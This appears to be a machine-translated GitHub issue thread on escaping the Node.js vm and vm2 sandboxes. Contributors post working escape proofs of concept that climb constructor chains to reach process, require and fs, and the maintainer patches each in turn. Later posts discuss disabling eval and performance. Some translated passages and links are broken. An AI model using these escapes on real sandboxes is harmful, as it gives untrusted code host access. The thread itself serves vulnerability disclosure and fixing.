Vm2: VMサンドボックスのエスケープ

レポートのおかげで、私はvm2の新しいバージョンに懸命に取り組んでおり、作成されたコンテキスト内にコンテキストを作成することでこのリークを修正することができました。 サンドボックスを脱出する別の方法があるかどうかはわかりませんが、まだ見つけていません。

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

登ろうとしましたが、これはtrueなので、それは不可能のようです：

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

私はあなたが上で述べたアプローチで遊んでいます。

最初の目標は、私のユースケースに必要なサンドボックスに物事を渡すことができるようにコメントを調整することでした。 これが間違った方法である場合は訂正してください。ただし、それが唯一の方法のようです。

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

出力：

Hello World Inside
Hello World Outside

次に、VMからの脱出を再試行し、成功しました。

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

どの出力：

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

サンドボックスから物を戻すためにそれらを使用しない限り、サンドボックスに物を安全に注入する方法はないようです。

方法があります-オブジェクトはVMのコンテキストにコンテキスト化する必要があります。 これを行うには2つの方法があります。 これらのオブジェクトをディープクローンするか、プロキシを使用できます。 新しいvm2でプロキシを使用しています。

https://github.com/patriksimek/vm2/tree/v3

次のリリースをGHにプッシュしました。 まだ作業中ですが、動作するはずです。

v3も壊れています：

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

このモグラたたきのゲームをプレイするのはちょっと無駄です。

@parasyteありがとう、それは私のコードのタイプミスが原因でした。 現在修正されています。

例外をキャッチすることを忘れないでください。

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyteありがとう、修正。 私はあなたの貢献に本当に感謝します。

🚎+ 1

@patriksimekいいね！

また、コンテキスト化されたサンドボックスから抜け出すために活用できるグローバルスコープ内の特定のオブジェクトにアクセスできます。 これは、VMにオブジェクトを渡す必要さえありません。

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte sheesh！ 発見するためにたくさんのベクトルが残っているに違いありません。

@keyoskええ、おそらく...

ところで@ patriksimekES6はcoffeescriptよりもはるかに優れています！ 👍

@parasyteありがとうございます。私が見つけたバックドアと一緒に修正されました。
@keyosk私たちはそれらすべてを見つけると信じています。

これはどうですか？

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyteナイスキャッチ、それを修正しました。 ありがとう。

最近のパッチで、まったく新しいワームの缶を開きました。

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

くそー、私は遅すぎて集中力を失いました。 主に私のために、いくつかのセキュリティノートを書きました。 :)

ありがとう、修正しました。

さて、私は今までNodeVM調べたことがありません！ スクラブする表面積はもっとたくさんあります、ここに...

すぐに私はarguments.callee介した脱出に気づきました：

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

さて、これはここでの最初の問題を示しています-新しいコンテキスト内に作成されたコンテキストは明らかに十分ではありません。 短縮版：

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

まだ解決策を見つけていません。 ホストにdelete process.mainModuleパッチを適用するかもしれませんが、 requireに登る別の方法があると確信しています。

解決策を見つけました:-)

ああ！ あなたは追いついています！ ;）このようにあなたを導いてくれたことをお詫びしなければなりません。 そこにいるすべての聴衆のために; node.jsのVMスコープの問題は、ホストスコープ内のオブジェクトへの参照にあります（プロトタイプチェーンを介してすべてのホストスコープへの参照を取得できます）。

constructorプロパティをオーバーライドしたので、その下に移動する必要があります。

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

ここで調査を行ったところ、 global.__proto__ === host.Object.prototype 。 Object.setPrototypeOf(global, Object.prototype)を適用することで、私はクリクルを閉じることができました。

再度、感謝します。

@parasyte @patriksimekこれは最新のnpm公開バージョンで終了しますか？

はい、今のところこれを閉じることができます。

FWIW、 eval無効にするだけでこれを解決し、サンドボックスに参照を公開しないように細心の注意を払いました。

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

これにより、 return process文字列を評価できないため、エスケープが防止されます。 結果として、正当なeval()および関数発生器コンストラクターの呼び出しも無効になります。 （これらの機能の有用性はかなり疑わしいです。）

わかりやすくするために@parasyteは、他の場所で実装したものですか？ または何かがvm2に貢献しましたか？

@keyscoresこれは他の場所で実装されました。

うん、他の場所。 同様のサンドボックスプロジェクトがあり、現在、オープンソースをリリースするための許可を待っています。 混乱させて申し訳ありません。 そのプロジェクトで根本的な問題がどのように解決されたかについてコメントしていました。

@parasyteリリースを更新しますか？ 実装を比較することに興味があります。 誰もが勝つと思います。

@keyscores申し訳ありませんが、まだ報告するものはありません。 組織内の計画が不適切だったため、オープンソースの取り組みの優先順位が低くなりました。 ：\

私はこれが致命的な問題であることを知っていますが、次のようなコードを実行するときにノードのvmライブラリの既知のバイパスはありますか？

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte ：好奇心から、実行する前に外部コードの先頭にglobal.eval = null;挿入して、evalを無効にしてみませんか？

@ Eric24いい質問です！ このプレゼンテーションでは、その理由を詳細に説明しています： https ： https ：

最も重要な点は、JavaScriptからeval()を呼び出す方法はたくさんあり、 global.evalを置き換えることはそのうちの1つにすぎないということです。 リスト全体を確認するまでに、 GeneratorFunctionでパッチ評価をモンキーパッチすることは不可能であることに気付くでしょう。 また、これには、将来のESの変更によってeval()が公開される可能性のある他の無数の方法は含まれていません。

したがって、実行可能な唯一の解決策は、C ++を使用してV8で評価を無効にすることです。

@parasyte ：完全に理にかなっています（そしてプレゼンテーションに感謝します）。 では、C ++コードはVMだけで、または「ホストプロセス」でもevalを無効にしますか？

@ Eric24は、disableEvalが呼び出されたコンテキストでevalを無効にします。これを、VMで実行される提供されたユーザーランドコードの先頭に挿入する必要があります。 さらに、これをホストで実行し、そのコンテキストで無効にすることもできます。

@parasyte ：

@Anorovこれはほんの数日前に報告されました： https ： domain使用に注意してください）。

これは、便利でダンディな概念実証です。 ノードv8.6.0でテスト済み：

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

このようなリークに注意してください。 このクラスの脆弱性から安全を確保する唯一の方法は、evalを無効にすることです。 そして、evalの範囲外のvm他の問題があるかもしれないことにうんざりしてください。

@parasyteありがとう。 私はPythonのノードでこのコードを実行しています： https ：

他のライブラリ（ domainなど）はインポートまたは使用されません。 このコードに潜在的な問題がありますか？ 可能であれば、Javascriptの依存関係（vm2など）を必要としないようにしたいと思います。

@Anorovああなるほど。 CloudFlare（またはMITM）がサンドボックスから抜け出す可能性のあるコードを提供しようとするのではないかと心配ですか？ 標的型攻撃である必要がありますが、完全に排除することはできません。

正しい。 誰かが私が期待しているページを模倣する可能性もあります
私のスクリプトは、そうでないのにCloudflareだと思っていること。 私も考えています
サーバーのIPアドレスがCloudflareによって所有されていることを確認します
追加の予防措置。

しかし、それにもかかわらず、このコードが任意の任意の場所で実行されていると仮定しましょう
Cloudflareだけでなくユーザー入力。 サンドボックスメカニズムは安全ですか？
ノードコミュニティの最高の知識は？

2017年10月2日午後10時10分、「JayOster」 [email protected]は次のように書いています。

@Anorovhttps ：//github.com/anorovああなるほど。 心配ですか
CloudFlare（またはMITM）は、発生する可能性のあるコードを提供しようとします
サンドボックス？ 標的型攻撃である必要がありますが、私はそれを支配しません
完全に出て。

—
あなたが言及されたのであなたはこれを受け取っています。
このメールに直接返信し、GitHubで表示してください
https://github.com/patriksimek/vm2/issues/32#issuecomment-3337186​​95 、またはミュート
スレッド
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
。

@アノロフ：

Nodeコミュニティの知る限り、サンドボックスメカニズムは安全ですか？

絶対違う。 公式文書はこれを非常に強力なメモにしています：

注：vmモジュールはセキュリティメカニズムではありません。 信頼できないコードを実行するために使用しないでください。

私はその警告を知っていますが、実用性について質問しています。

2017年10月3日16:34、「CodyMassin」 [email protected]は次のように書いています。

@Anorov https://github.com/anorov ：

サンドボックスメカニズムは安全ですか、ノードコミュニティの最善を尽くします
知識？

絶対違う。 公式ドキュメント
https://nodejs.org/api/vm.html#vm_vm_executing_javascriptはこれを作成します
非常に強いメモ：

注：vmモジュールはセキュリティメカニズムではありません。 実行に使用しないでください
信頼できないコード。

—
あなたが言及されたのであなたはこれを受け取っています。
このメールに直接返信し、GitHubで表示してください
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 、またはミュート
スレッド
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
。

実際には、サンドボックスメカニズムは信頼できないコードに対して安全ではありません。 そのため、 @ patriksimekは、 vm2ライブラリを使用して安全なサンドボックスメカニズムを作成しようとしました。 これが、 @ parasyteが、信頼できないコードをサンドボックス化する際に別のアプローチを使用して独自のライブラリを作成する作業を行った理由でもあります。

@Anorov要するに、 vmだけに頼らないでください。 しかし、それはタマネギの単層として便利なツールです。

私は、 @ parasyteからのevalを無効にするためにvmと提案されたC ++コードで

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

これも機能し、はるかに高速です（一部のテストケースでは1000倍以上高速です）。 evalを無効にすることに加えて、ユーザーランドコードに「global」への参照が含まれないようにします（このテストがないと、関数はglobal.whateverを使用してグローバルスコープを変更できます）。 これは効果的で安全なサンドボックスのようです。 何が足りないのですか？

あなたの戦略は、人々がfsのような名前空間をインポートしてサーバーを大幅に変更することを阻止しますか？ また、evalの無効化についても興味があります。なぜ、eval以外のコードについてではなく、evalについてすべての心配があるのでしょうか。

@wysisoft ：いい質問です。 はい、「require」は公開されていません。 各スクリプトは、メタデータの一部として、実行前に関数に個別に公開される、必要な「許可および検証済み」モジュールのリストを定義します。 具体的には、「fs」はその承認済みリストには含まれません（ただし、一時ストレージが必要なスクリプトの場合は、限定された読み取り/書き込み関数のセットが提供されます）。

'eval'を無効にすることは、多くのエクスプロイトを阻止するための鍵です（ 18NOV16の@parasyteからのコメントを参照してください）。 'eval'を許可すると、他の方法では防止できない方法でグローバルスコープにアクセスできるようになります。 詳細については、 @ parasyteからのご覧ください）。

@ Eric24 vm何が「遅い」のかわかりません。 これは、nodeJSを強化するv8ランタイムとまったく同じです。 コードを実行するたびにサンドボックスを再作成するなど、ばかげたことをしていませんか？ ある程度のオーバーヘッドがありますが、1000倍以上のオーバーヘッドはありません。

@wysisoft eval()は、サンドボックスをエスケープするための簡単にアクセスできる方法です。 無効にすると、プライベートコンテキスト内のコードをます。 しかし、繰り返しになりますが、これが唯一の攻撃ベクトルではなく、すべてに注意する必要があります。

@ parasyte-非常に単純なテストがあり、それぞれに同じコードにできるだけ近いFunction（）とVMを作成し、両方を1000回実行し、必要な合計時間を報告します。 以下のコード：

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

テストでわかるように、スクリプトとコンテキストを1回作成してから、1000回実行しています。 ただし、実際のターゲットユースケースでは、実行ごとに一意であり、新しいコンテキストで開始する必要があるため、毎回コンテキストを再作成する必要があります（コンパイルされたスクリプトをキャッシュできる可能性があります）。 毎回コンテキストを再作成しない場合、Function（）とVMの違いは6〜14回です。

しかし、詳しく調べた後、実際のユースケースに近いコードのバリエーション（ループ内で毎回コンテキストを作成する）を試しました。 私は当初、コンテキストの1回限りの作成のタイミングを1ミリ秒未満で設定していたので、それを反復ごとに含めていました。 しかし、実際のコードを実行すると、本当の原因が示されました。VMはまだ低速ですが、問題はコンテキストの作成ではなく、「ctx」オブジェクトの作成です。 それはかなりの驚きです。

ただし、VMコンテキストの新しいオブジェクトを作成する必要があります（ただし、Function（）でもそのバリエーションが必要になるため、2つの違いは6〜14回に戻ります（これは依然として重要です）。 。

うーん。 私はちょうど別のテストを試しました：

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

ここでは、両方のテストで「ctx」オブジェクトが毎回再作成されますが、コンテキストは1回だけ作成されます。 時間差は6から14の範囲に戻ります。 しかし、毎回コンテキストを再作成する行のコメントを外すと、最大144倍遅くなりました。

@ Eric24あなたは私の前の投稿で私が言ったことをやっています。 😕 script.runInContext()が問題です。 これは、（異なるv8コンテキストで） eval()を呼び出すのと実質的に同じです。

パフォーマンスの問題を解決する解決策は、 runInContext 1回呼び出してコードをコンパイルし、返された参照または入力引数として指定した参照を介してコンパイルされたコードと対話することです。 たとえば、サンドボックスとの双方向通信のためにいくつかのnew Event()オブジェクトを渡します。 これは、[まだ内部のサンドボックスであり、政治的な理由でオープンソース化されていない] vmラッパーが行うことであり、オーバーヘッドは完全に無視できます。

@parasyte ：

いいえ。 runInContextはコードをコンパイルします。 考えてみてください。 v8はジャストインタイムコンパイラです。 コンパイルするにはコードを実行する必要があります。

@parasyte ：OKですが、node.jsのドキュメントから：
_vm.Scriptクラスのインスタンスには、特定のサンドボックス（または「コンテキスト」）で実行できるコンパイル済みスクリプトが含まれています。

@ Eric24ドキュメントはちょっと紛らわしいです。 関連するコードスニペットは、インタプリタがJavaScriptをバイトコードにコンパイルするのと同じ意味で「コンパイル」されます。 JSは、 Scriptオブジェクトがインスタンス化された後、インタープリターを介して実行できますが、v8からのパフォーマンスの向上の大部分は、この解釈された中間表現をネイティブマシンコードにコンパイルすることによって得られます。 後者のステップは、 runInContextが呼び出されるまで開始されません。

実際には、JITが最適化を検討する前にコードをウォームアップする必要があるため、JITコンパイラのライフサイクルはそれよりも複雑です。 詳細に興味がある場合は、インターネット上にたくさんの読み物があります。

ただし、ハードデータを提供するために、 runInContext関連するソースコードを次に示します。https：

realRunInContext参照は、C ++ contextifyモジュールからのものです。 ここで見つけることができます： https ：

このC ++コードの最も重要な部分は、おそらくEvalMachineの呼び出しです。これは、コンパイルされたコードを現在のコンテキストにバインドし、 script->Run()を呼び出してJITコンパイラーを開始します。 もちろん、これが最適化するコードを探し始めるものです。

お役に立てば幸いです。

@parasyte ：はい、それは役に立ちます。 ありがとう！

vm2サンドボックスを使用した1つの実装に苦労しています。 vm2サンドボックス内で非同期コードを呼び出すことはできますか？ その理由は、vm2のサンドボックスからMysqlのようなデータソースに接続する必要があるからです。

はい、サンドボックス内で非同期待機できますが、どのような問題がありますか？
信頼できないコードを実行している場合は、おそらく実行したくないことを覚えておいてください。
サンドボックスへの完全なSQLアクセスを許可します。 代わりに、おそらく追加する必要があります
サンドボックスへのgetdata（）メソッドサンドボックスの外部でコードを実行する
実際のSQL接続が発生します。

2017年10月24日火曜日午前6時49分RajagopalSomasundaram <
[email protected]>は次のように書いています：

vm2サンドボックスを使用した1つの実装に苦労しています。 電話してもいいですか
vm2サンドボックス内の非同期コード？ 理由は、に接続する必要があるということです
vm2のサンドボックスからのMysqlのようなデータソース？

—
あなたが言及されたのであなたはこれを受け取っています。
このメールに直接返信し、GitHubで表示してください
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 、またはミュート
スレッド
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
。

@wysisoft返信ありがとうございます。詳細については、 。 また、SQLアクセス構成はユーザー自身によって提供され、サンドボックススクリプトはアプリDBにアクセスしません。

@ Eric24は「新しい関数（）」の代替案を共有することを心がけていますか？ VMよりもきれいに見えます

@platinumindustries ：結局のところ、私は実際には「

@ Eric24それではよろしい。 また、NodeJS 10.9 *の新しいバージョンでは、vmでeval（）を無効にするオプションがあり

古いスレッドに飛び込んで本当に申し訳ありません。

ただし、実際のターゲットユースケースでは、実行ごとに一意であり、新しいコンテキストで開始する必要があるため、毎回コンテキストを再作成する必要があります（コンパイルされたスクリプトをキャッシュできる可能性があります）。

@ Eric24サーバーアプリケーション内でvm2を使用して任意のコードを実行する可能性がある方法を調べています。 着信リクエストからVM内で実行されているコードにパラメーター/引数を渡す方法を検討しているため、私のユースケースはあなたが言及したものと似ていると思います。

今のところ、これを行うために私が見ることができる唯一の方法は、毎回新しいコンテキストを作成することですが、これは本当に遅いです。 1つのコンテキストオブジェクトを再利用できるかどうかを調べようとしていますが、他のメカニズムを使用して、VM内で実行されているコードにデータを提供しています。 @parasyteは、 Event()オブジェクトを使用した双方向通信について何か言及しましたが、それは私には完全には明確ではありませんでした。

同様の問題が発生したかどうか疑問に思っていましたが、発生した場合は、どのように解決したかについていくつかのヒントを共有していただけませんか。 御時間ありがとうございます。

@darahayes ：実際、実行ごとに新しいコンテキストを作成していますが、これが遅いとはまったく感じていません。 期待しているパフォーマンスと比べて、どのようなパフォーマンスが見られますか？ そして、どのようにパフォーマンスを測定していますか？

実行ごとに新しいnodejsプロセスをスピンアップしていますが、それほど悪くはなく、100ミリ秒未満の遅延です。